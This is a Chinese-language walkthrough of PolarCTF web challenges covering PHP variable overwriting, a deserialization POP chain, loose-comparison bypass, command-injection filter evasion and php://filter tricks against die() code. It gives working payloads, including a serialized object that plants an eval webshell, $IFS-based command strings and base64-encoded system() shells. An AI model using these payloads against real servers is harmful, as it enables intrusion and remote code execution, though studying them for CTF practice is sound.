PolarCTF靶场【Web】通关实录:从PHP变量覆盖到无字母Shell的实战路径
1. PHP变量覆盖漏洞实战解析
第一次看到这个题目的时候,我差点笑出声来。"PHP是世界上最好的语言"这个梗在程序员圈子里流传已久,但没想到在CTF赛场上还能遇到这样的彩蛋。不过玩笑归玩笑,这道题其实暗藏玄机,考察的是PHP变量覆盖这个经典漏洞。
先来看题目给出的源码。关键点在于parse_str()和extract()这两个函数的使用。parse_str()函数会把查询字符串解析到变量中,而extract()则能从关联数组中提取变量。这两个函数如果使用不当,就会造成变量覆盖漏洞。
我遇到过不少新手会问:什么是变量覆盖?简单来说,就是攻击者可以通过外部输入,覆盖掉程序内部已经定义好的变量值。比如题目中原本设置了$key1和$key2的初始值为0,但通过精心构造的输入,我们可以把它们改成任意值。
具体到这道题,我们需要让$flag1和$flag2都等于'8gen1'。但直接传flag1和flag2参数会被检测到并拒绝。这时候就要用到变量覆盖的技巧了。我的做法是通过GET传参:?_POST[flag1]=8gen1&_POST[flag2]=8gen1。这样就能绕过第一层检测。
接下来要处理的是504_SYS.COM这个参数。这里有个小技巧:用方括号[]来绕过点号的限制。因为PHP在处理变量名时,会把[转换成下划线_,但后面的字符会保留下来。所以传504[SYS.COM就能成功绕过过滤。
最后执行命令的部分,由于很多特殊字符都被过滤了,直接读取flag.php比较困难。但注意到源码中已经包含了flag.php,所以直接输出$flag变量就能拿到flag。最终的payload是这样的:
POST /index.php?_POST[flag1]=8gen1&_POST[flag2]=8gen1 HTTP/1.1 ... 504[SYS.COM=1&sys=echo $flag;2. 反序列化漏洞与POP链构造
反序列化漏洞在CTF中出现的频率相当高,这道题就是一个典型的例子。题目给出了两个类:example和process。我们的目标是通过反序列化构造一个POP链(Property-Oriented Programming chain),最终实现任意代码执行。
先分析一下代码逻辑。example类有一个__destruct魔术方法,这个方法会调用funnnn函数,而funnnn函数又会调用$handle对象的close方法。process类中的close方法直接eval执行了$this->pid的内容。
要构造POP链,我们需要:
- 创建一个example对象
- 将其handle属性设置为process对象
- 设置process对象的pid属性为要执行的代码
这里有个小技巧:通过__construct构造函数来自动完成这些设置。我写的构造代码如下:
class example { public $handle; function __construct(){ $this->handle=new process(); } } class process{ public $pid; function __construct(){ $this->pid='@eval($_POST["123"]);'; } } $test=new example(); echo serialize($test);生成的序列化字符串是这样的:
O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:21:"@eval($_POST["123"]);";}}把这个字符串作为data参数传给页面,就能成功植入一句话木马。之后用蚁剑等工具连接就能获取服务器权限。在实际渗透测试中,这种反序列化漏洞往往能直接拿到系统权限,危害性非常大。
3. 字符串比较绕过的黑魔法
BlackMagic这道题的名字起得很贴切,确实用到了不少"黑魔法"。题目提示flag就在页面里,但直接访问什么都看不到。查看源代码后发现关键逻辑:
- 使用extract($_REQUEST)提取变量
- 对strFlag进行trim处理得到strContent
- 比较strTmp和strContent是否相等
这里的突破口在于trim函数。trim会去除字符串两端的空白字符,但不会处理中间的。而PHP的松散比较(==)在某些情况下会把包含空白字符的字符串视为相等。
经过测试,我发现用水平制表符(%09)可以绕过这个比较。payload如下:
?strTmp=%09xxxxx...xxxxx%09这个技巧在真实环境中也很有用。很多系统会对用户输入进行trim处理,但后续比较时可能使用松散比较。了解这些细节差异,往往能找到意想不到的突破点。
4. 命令执行过滤绕过技巧
"再来ping一波啊"这道题看似简单,实则暗藏杀机。表面上是个命令注入漏洞,但几乎所有常用命令和字符都被过滤了。包括:
- 常见命令:ls、cat、tac
- 特殊字符:空格、斜杠、点号
面对这种情况,我尝试了几种绕过方法:
- 使用变量拼接:
;a=dex;ca\t$IFS$1in$a.php - 使用反斜杠转义:
ta\c$IFS$9$a$b.php - 使用$IFS代替空格
其中$IFS是Linux中的内部字段分隔符,默认就是空格。通过这种技巧,我们成功绕过了空格的限制。读取index.php后发现flag其实就在源代码注释里。
这种过滤绕过的技巧在实际渗透中很常见。WAF(Web应用防火墙)通常会过滤大量危险字符和命令,但通过字符编码、变量替换、命令拼接等方法,往往能找到突破口。
5. 无字母Shell与死亡代码绕过
最后这道"找找Shell"可以说是集大成者,考察的是文件写入和死亡代码(die/exit)绕过的技巧。题目允许我们通过file_put_contents写入文件,但会在内容前加上,这被称为"死亡代码",会阻止后续代码执行。
我尝试了两种绕过方法:
第一种是base64编码:
?filename=php://filter/convert.base64-decode/resource=test.php content=aPD9waHAgc3lzdGVtKCdscyAvJyk/Pg==这里有个细节:我在内容前加了个字母a,因为base64解码时是4字节转3字节。加上这个a就能保证死亡代码被完全解码成乱码。
第二种方法是组合使用多个过滤器:
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php content=?>PD9waHAgc3lzdGVtKCdscycpPz4=strip_tags会去除XML标签(包括),这样死亡代码就被移除了。之后再base64解码就能正常执行我们的代码。
这种无字母Shell的技巧在真实环境中非常实用,特别是当服务器限制了字符集或过滤了某些函数时。通过编码转换和过滤器组合,往往能突破这些限制。
